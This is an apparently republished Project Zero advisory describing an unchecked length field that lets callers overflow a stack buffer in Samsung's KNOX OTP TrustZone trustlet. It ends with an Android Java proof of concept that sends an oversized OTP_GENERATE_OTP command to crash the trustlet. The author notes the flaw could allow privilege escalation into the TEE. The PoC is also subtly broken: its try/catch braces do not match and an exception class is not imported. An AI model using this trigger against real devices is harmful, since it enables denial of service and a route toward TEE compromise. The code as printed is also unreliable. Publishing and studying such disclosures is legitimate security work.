Samsung Devices KNOX Extensions OTP TrustZone Trustlet Stack Buffer Overflow

2016-12-14T00:00:00
ID PACKETSTORM:140146
Type packetstorm
Reporter Google Security Research
Modified 2016-12-14T00:00:00

Description

                                        
                                            `/**  
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938  
  
As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.  
  
The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".  
  
Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.  
  
Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.  
  
This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.  
  
On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.  
  
I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.  
*/  
  
package com.example.laginimaineb.otp;  
  
import android.os.IBinder;  
import android.os.Parcel;  
import android.os.RemoteException;  
import android.support.v7.app.AppCompatActivity;  
import android.os.Bundle;  
import android.util.Log;  
  
public class OneWhoKNOX extends AppCompatActivity {  
  
/**  
* The logtag used.  
*/  
private static final String LOGTAG = "OTP_TEST";  
  
/**  
* The name of the OTP binder service.  
*/  
private static final String INTERFACE_DESCRIPTOR = "OTP";  
  
@Override  
protected void onCreate(Bundle savedInstanceState) {  
super.onCreate(savedInstanceState);  
setContentView(R.layout.activity_main);  
  
try {  
//Getting the binder  
Class smClass = Class.forName("android.os.ServiceManager");  
IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);  
  
//Writing a command with a large length field  
Parcel parcel = Parcel.obtain();  
Parcel reply = Parcel.obtain();  
parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);  
byte[] command = new byte[0xDA7];  
  
//Setting the command to OTP_GENERATE_OTP  
command[0] = 0x02;  
command[1] = 0x00;  
command[2] = 0x00;  
command[3] = 0x00;  
  
//Setting the length field to something insane  
command[0x41C] = (byte)0xFF;  
command[0x41C + 1] = (byte)0xFF;  
command[0x41C + 2] = (byte)0x00;  
command[0x41C + 3] = (byte)0x00;  
  
//Sending the command (should crash the trustlet)  
parcel.writeByteArray(command);  
binder.transact(2, parcel, reply, 0);  
Log.e(LOGTAG, "res=" + reply.readInt());  
reply.recycle();  
parcel.recycle();  
  
} catch (ClassNotFoundException |  
NoSuchMethodException |  
IllegalAccessException |  
InvocationTargetException ex) {  
Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);  
}  
  
} catch (RemoteException ex) {  
Log.e(LOGTAG, "Failed to communicate with remote binder", ex);  
}  
}  
}  
  
  
`